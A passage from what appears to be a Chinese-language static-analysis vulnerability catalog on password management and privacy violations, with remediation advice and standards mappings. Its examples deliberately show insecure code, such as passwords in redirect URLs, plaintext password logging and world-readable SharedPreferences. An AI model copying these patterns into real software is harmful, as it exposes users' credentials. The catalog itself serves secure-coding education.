[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Password Management: Password in Redirect
ABSTRACT
当密码作为 HTTP 重定向的一部分进行传送时,可能会造成密码被显示、记录或存储在缓存中。
EXPLANATION
HTTP 重定向会引发用户的 Web 浏览器发出 HTTP GET 请求。按照惯例,通常不会将与 HTTP GET 请求相关的参数视为敏感数据,因此 web 服务器会记录这些数据,并将其存储在代理缓存中,同时,web 浏览器也不会刻意隐藏这些数据。作为重定向的一部分传送密码或其他敏感数据,可能会引起数据的误用,且有可能会被攻击者获取。
例 1:
1 | response.sendRedirect("j_security_check?j_username="+usr+"&j_password="+pass); |
RECOMMENDATIONS
在重定向中,应该避免传送敏感数据,例如密码。应使用 HTTP POST,而不是 HTTP GET 将敏感数据由浏览器传送至服务器。对于其他情况,如将敏感数据嵌入到可以自动发布数据的网页中,也存在潜在的危险性,这是因为网页有可能通过代理或 web 浏览器滞留在缓存中。
应用程序应该将敏感数据存储到会话对象中,从而无需传送回浏览器,或者干脆丢弃这些数据,并要求用户在下次使用时重新输入。正如我们通常遇到情况,这个实例优先考虑了安全性,而非可用性。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 359
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000060 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000060 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000060 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Password Management: Weak Cryptography
ABSTRACT
采用普通的编码方式给密码加密并不能有效地保护密码。
EXPLANATION
当密码以明文形式存储在应用程序的属性文件或其他配置文件中时,会发生 password management 漏洞。程序员试图通过编码函数来遮蔽密码,以修补 password management 漏洞,例如使用 64 位基址编码方式,但都不能起到充分保护密码的作用。
例 1:以下代码可以从属性文件中读取密码,并使用该密码连接到数据库。
1 | ... |
这组代码可以顺利运行,但是任何对 config.properties 具有访问权限的人都能读取 password 中的值,并且很容易确定这个值是否经过 64 位基址编码。而这给了心怀不轨的雇员利用这一信息破坏系统的机会。
在移动世界中,由于设备丢失的几率较高,因此密码管理是一个非常棘手的问题。 例 2:以下代码可从 Android WebView 存储器读取用户名和密码,并使用它们设置身份验证,从而查看受保护页面。
1 | ... |
默认情况下,WebView 凭证以明文的形式存储且不经过 hash 处理。因此,如果用户拥有 root 设备(或使用仿真器),他/她就能读取存储的给定站点的密码。
RECOMMENDATIONS
绝不能采用明文的形式存储密码。相反,应在系统启动时,由管理员输入密码。如果这种方法不切实际,一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化,并把这些去模糊化的资源分散到系统各处,因此,要破译密码,攻击者就必须取得并正确合并多个系统资源。至少,密码要先经过 hash 处理再存储。
有些第三方产品宣称可以采用更加安全的方式管理密码。例如,WebSphere Application Server 4.x 用简单的异或加密算法加密数值,但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制,这对于安全性敏感的环境来说是远远不够的。一般较为安全的解决方法是采用由用户创建的所有者机制,而这似乎也是目前最好的方法。
对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
REFERENCES
[1] SQLCipher.
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 261
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Privacy Violation
ABSTRACT
对机密信息(如客户密码或社会保障号码)处理不当会危及用户的个人隐私,这是一种非法行为。
EXPLANATION
Privacy Violation 会在以下情况下发生:
用户私人信息进入了程序。
数据被写到了一个外部介质,例如控制台、file system 或网络。
示例 1:以下代码包含了一个日志记录语句,该语句通过在日志文件中存储记录信息跟踪添加到数据库中的各条记录信息。在存储的其他数值中,getPassword() 函数可以返回一个由用户提供的、与用户帐号相关的明文密码。
1 | pass = getPassword(); |
在以上示例中,代码采用日志的形式将明文密码记录到了文件系统中。虽然许多开发人员认为文件系统是存储数据的安全位置,但这不是绝对的,特别是在涉及到隐私问题时。
在移动世界中隐私是最令人担心的问题之一,其原因有以下两点。一是设备丢失的几率较高。第二点与移动应用程序之间的进程间通信有关。移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。因为恶意软件在银行应用程序附近运行的可能性很高,所以应用程序的作者需要注意消息所包含的信息,这些消息将会发送给在设备上运行的其他应用程序。移动应用程序之间的进程间通信不应包含敏感信息。
示例 2:以下代码可读取存储在 Android WebView 上的给定站点的用户名和密码,并广播给所有注册的接收者。
1 | ... |
此示例存在多个问题。首先,WebView 凭证以明文的形式存储且不经过 hash 处理。因此,如果用户拥有 root 设备(或使用仿真器),他/她就能读取存储的给定站点的密码。其次,明文凭证将被广播给所有注册的接收者,这就意味着任何使用 SEND_CREDENTIALS 收听的注册接收者都将收到消息。即使权限限制接收者人数,广播也不会受到保护;既然这样,我们也不建议将权限作为修复方式使用。
可以通过多种方式将私人数据输入到程序中:
— 以密码或个人信息的形式直接从用户处获取
— 由应用程序访问数据库或者其他数据存储形式
— 间接地从合作者或者第三方处获取
通常情况下,在移动世界的背景下,该私人信息将包括(以及密码、SSN 和其他一般个人信息):
位置
手机号码
序列号和设备 ID
网络运营商信息
语音信箱信息
有时,某些数据并没有贴上私人数据标签,但在特定的上下文中也有可能成为私人信息。比如,通常认为学生的学号不是私人信息,因为学号中并没有明确而公开的信息用以定位特定学生的个人信息。但是,如果学校用学生的社会保障号码生成学号,那么这时学号应被视为私人信息。
安全和隐私似乎一直是一对矛盾。从安全的角度看,您应该记录所有重要的操作,以便日后可以鉴定那些非法的操作。然而,当其中牵涉到私人数据时,这种做法就存在一定风险了。
虽然不安全地处理私人数据有多种形式,但是常见的风险来自于盲目的信任。程序员通常会信任程序运行的操作系统,因此认为将私人信息存放在 file system、注册表或者获得局部控制的资源中是值得信任的。尽管已经限制了某些资源的访问权限,但仍无法保证所有访问这些资源的个体都是值得信任的。例如,2004 年,一个不道德的 AOL 员工把大约 9200 万个客户的私人电子邮件地址卖给了一个通过垃圾邮件进行营销的赌博网站 [1]。
鉴于此类备受瞩目的信息盗取事件,私人信息的收集与管理正日益规范化。要求各个组织应根据其经营地点、所从事的业务类型及其处理的私人数据性质,遵守下列一个或若干个联邦和州的规定:
Safe Harbor Privacy Framework [3]
Gramm-Leach Bliley Act (GLBA) [4]
Health Insurance Portability and Accountability Act (HIPAA) [5]
California SB-1386 [6]
尽管制定了这些规范,Privacy Violation 漏洞仍时有发生。
RECOMMENDATIONS
当安全和隐私的需要发生矛盾时,通常应优先考虑隐私的需要。为满足这一要求,同时又保证信息安全的需要,应在退出程序前清除所有私人信息。
为加强隐私信息的管理,应不断改进保护内部隐私的原则,并严格地加以执行。这一原则应具体说明应用程序应该如何处理各种私人数据。在贵组织受到联邦或者州法律的制约时,应确保您的隐私保护原则尽量与这些法律法规保持一致。即使没有针对贵组织的相应法规,您也应当保护好客户的私人信息,以免失去客户的信任。
保护私人数据的最好做法就是最大程度地减少私人数据的暴露。不应允许应用程序、流程处理以及员工访问任何私人数据,除非是出于职责以内的工作需要。正如最小授权原则一样,不应该授予访问者超出其需求的权限,对私人数据的访问权限应严格限制在尽可能小的范围内。
对于移动应用程序,请确保它们从不与在设备上运行的其他应用程序进行任何敏感数据通信。存储私人数据时,通常都应加密。对于 Android 以及其他任何使用 SQLite 数据库的平台来说,SQLCipher 是一个好选择 – 对 SQLite 数据库的扩展为数据库文件提供了透明的 256 位 AES 加密。因此,凭证可以存储在加密的数据库中。
例 3:以下代码演示了在将所需的二进制码和存储凭证下载到数据库文件后,将 SQLCipher 集成到 Android 应用程序中的方法。
1 | import net.sqlcipher.database.SQLiteDatabase; |
请注意,对 android.database.sqlite.SQLiteDatabase 的引用可以使用 net.sqlcipher.database.SQLiteDatabase 代替。
要在 WebView 存储上启用加密,需要使用 sqlcipher.so 库重新编译 WebKit。
例 4:以下代码从 Android WebView 存储读取给定站点的用户名和密码,而不是将其广播到所有注册的接收器,它仅在内部广播,以便广播只能由同一应用程序的其他部分看到。
1 | ... |
REFERENCES
[1] J. Oates AOL man pleads guilty to selling 92m email addies The Register
[2] Privacy Initiatives U.S. Federal Trade Commission
[3] Safe Harbor Privacy Framework U.S. Department of Commerce
[4] Financial Privacy: The Gramm-Leach Bliley Act (GLBA) Federal Trade Commission
[5] Health Insurance Portability and Accountability Act (HIPAA) U.S. Department of Human Services
[6] California SB-1386 Government of the State of California
[7] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[8] SQLCipher.
[9] FUNDAMENTALS-4: Establish trust boundaries Oracle
[10] CONFIDENTIAL-2: Do not log highly sensitive information Oracle
[11] INPUT-1: Validate inputs Oracle
[12] Standards Mapping - Common Weakness Enumeration CWE ID 359
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[14] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000650 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000650 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000650 CAT II, APSC-DV-001740 CAT I, APSC-DV-001750 CAT I, APSC-DV-002330 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[33] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[34] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Privacy Violation: Android Internal Storage
ABSTRACT
对机密信息(如客户密码或社会保障号码)处理不当会危及用户的个人隐私,这是一种非法行为。
EXPLANATION
Privacy Violation 会在以下情况下发生:
用户私人信息进入了程序。
数据被写到了一个外部介质,例如控制台、file system 或网络。
在这种情况下,数据使用 SharedPreferences 类保存在物理 Android 设备上。
例 1:下列代码用 Android 的 SharedPreferences 类存储用户首选项。在存储的其他值中,用户提供的 password 以明文形式存储在设备上。
1 | SharedPreferences userPreferences = this.getSharedPreferences("userPreferences", MODE_WORLD_READABLE); |
虽然在默认情况下 Android 的 SharedPreferences 为应用程序专用,其他应用程序无法访问。但是对设备的物理访问还是有可能访问这些文件。再者,在以上示例中,如果将模式设为 MODE_WORLD_READABLE,则会使首选项文件被其他应用程序访问,更加违反了用户隐私。
虽然许多开发人员认为 file system 是存储数据的安全场所,但是不应对其予以绝对的信任,特别是在涉及到隐私问题时。
可以通过多种方式将私人数据输入到程序中:
— 以密码或个人信息的形式直接从用户处获取
— 由应用程序访问数据库或者其他数据存储形式
— 间接地从合作者或者第三方处获取
通常情况下,在移动世界的背景下,该私人信息将包括(以及密码、SSN 和其他一般个人信息):
位置
手机号码
序列号和设备 ID
网络运营商信息
语音信箱信息
有时,某些数据并没有贴上私人数据标签,但在特定的上下文中也有可能成为私人信息。比如,通常认为学生的学号不是私人信息,因为学号中并没有明确而公开的信息用以定位特定学生的个人信息。但是,如果学校用学生的社会保障号码生成学号,那么这时学号应被视为私人信息。
安全和隐私似乎一直是一对矛盾。从安全的角度看,您应该记录所有重要的操作,以便日后可以鉴定那些非法的操作。然而,当其中牵涉到私人数据时,这种做法就存在一定风险了。
虽然不安全地处理私人数据有多种形式,但是常见的风险来自于盲目的信任。程序员通常会信任程序运行的操作系统,因此认为将私人信息存放在 file system、注册表或者获得局部控制的资源中是值得信任的。尽管已经限制了某些资源的访问权限,但仍无法保证所有访问这些资源的个体都是值得信任的。例如,2004 年,一个不道德的 AOL 员工把大约 9200 万个客户的私人电子邮件地址卖给了一个通过垃圾邮件进行营销的赌博网站 [1]。
鉴于此类备受瞩目的信息盗取事件,私人信息的收集与管理正日益规范化。要求各个组织应根据其经营地点、所从事的业务类型及其处理的私人数据性质,遵守下列一个或若干个联邦和州的规定:
Safe Harbor Privacy Framework [3]
Gramm-Leach Bliley Act (GLBA) [4]
Health Insurance Portability and Accountability Act (HIPAA) [5]
California SB-1386 [6]
尽管制定了这些规范,Privacy Violation 漏洞仍时有发生。
RECOMMENDATIONS
可能的话,不要使用 Android SharedPreferences 存储敏感信息或者将敏感信息保存在物理设备上。
如果是用户验证,可考虑实施服务器协商认证技术或 Android 提供的 AccountManager 类。
如果绝对有必要将敏感信息存储在设备上,可考虑使用加密存储,或者至少在存储前对数据进行加密。
确保首选项文件的模式(如其中存储敏感信息的话)不是 MODE_WORLD_READABLE 或 MODE_WORLD_WRITEABLE。
一般而言,当安全和隐私的需要发生矛盾时,通常应优先考虑隐私的需要。为满足这一要求,同时又保证信息安全的需要,应在退出程序前清除所有私人信息。
为加强隐私信息的管理,应不断改进保护内部隐私的原则,并严格地加以执行。这一原则应具体说明应用程序应该如何处理各种私人数据。在贵组织受到联邦或者州法律的制约时,应确保您的隐私保护原则尽量与这些法律法规保持一致。即使没有针对贵组织的相应法规,您也应当保护好客户的私人信息,以免失去客户的信任。
保护私人数据的最好做法就是最大程度地减少私人数据的暴露。不应允许应用程序、流程处理以及员工访问任何私人数据,除非是出于职责以内的工作需要。正如最小授权原则一样,不应该授予访问者超出其需求的权限,对私人数据的访问权限应严格限制在尽可能小的范围内。
REFERENCES
[1] Designing for Security Android
[2] OWASP Top 10 Mobile Risks OWASP
[3] J. Oates AOL man pleads guilty to selling 92m email addies The Register
[4] Privacy Initiatives U.S. Federal Trade Commission
[5] Safe Harbor Privacy Framework U.S. Department of Commerce
[6] Financial Privacy: The Gramm-Leach Bliley Act (GLBA) Federal Trade Commission
[7] Health Insurance Portability and Accountability Act (HIPAA) U.S. Department of Human Services
[8] California SB-1386 Government of the State of California
[9] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[10] FUNDAMENTALS-4: Establish trust boundaries Oracle
[11] CONFIDENTIAL-2: Do not log highly sensitive information Oracle
[12] Standards Mapping - Common Weakness Enumeration CWE ID 359
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-28 Protection of Information at Rest (P1)
[14] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[15] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[16] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.2.1
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002340 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002340 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002340 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[34] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[35] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Privacy Violation: Heap Inspection
ABSTRACT
将敏感数据存储在 String 对象中使系统无法从内存中可靠地清除数据。
EXPLANATION
如果在使用敏感数据(例如密码、社会保障号码、信用卡号等)后不清除内存,则存储在内存中的这些数据可能会泄漏。通常而言,String 是所用的存储敏感数据,然而,由于 String 对象不可改变,因此用户只能使用 JVM 垃圾收集器来从内存中清除 String 的值。除非 JVM 内存不足,否则系统不要求运行垃圾收集器,因此垃圾收集器何时运行并无保证。如果发生应用程序崩溃,则应用程序的内存转储操作可能会导致敏感数据泄漏。
例 1:下列代码可将密码从字符数组转换为 String。
1 | private JPasswordField pf; |
RECOMMENDATIONS
请始终确保不再需要使用敏感数据时将其清除。可使用能够通过程序清除的字节数组或字符数组来存储敏感数据,而不是将其存储在类似 String 的不可改变的对象中。
例 2:下列代码可在使用密码后清除内存。
1 | private JPasswordField pf; |
REFERENCES
[1] L. Gong, G. Ellison, and M. Dageforde Inside Java 2 Platform Security: Architecture, API Design, and Implementation, 2nd ed. Addison-Wesley
[2] M. S. Ware Writing secure Java code: taxonomy of heuristics and an evaluation of static analysis tools
[3] CONFIDENTIAL-3: Consider purging highly sensitive from memory after use Oracle
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 226
[6] Standards Mapping - FIPS200 IA
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-4 Information in Shared Resources (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.4, Requirement 6.5.8, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.4, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.4, Requirement 6.5.3, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.4, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3230.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3230.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3230.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3230.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3230.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3230.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3230.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002330 CAT II, APSC-DV-002380 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Privacy Violation: Shoulder Surfing
ABSTRACT
密码泄漏会危及系统安全。
EXPLANATION
密码无需对其所有者可见,且不能对他人可见。如果显示密码,附近的任何人都能看到该密码,这会危及系统安全。对于计算机安全性,肩窥指利用直接观察技巧来获取信息,例如从某个人的背后窥视。在拥挤的公共环境中,肩窥更有可能得逞。这种威胁尤其适用于通常在各种环境(无论是私密还是公共)中使用的移动设备。
RECOMMENDATIONS
切勿以明文形式显示密码。用点或星号来模糊显示该字段字符,而不是以明文显示。
示例:在 Android 程序中,通过将 android:password 设置为 true,以将 EditText 小组件设为模糊输出。
1 | <EditText android:id="@+id/EditText01" |
REFERENCES
[1] Android Developers-Reference: EditText
[2] Standards Mapping - Common Weakness Enumeration CWE ID 359
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), IA-6 Authenticator Feedback (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.3
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.3
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.3
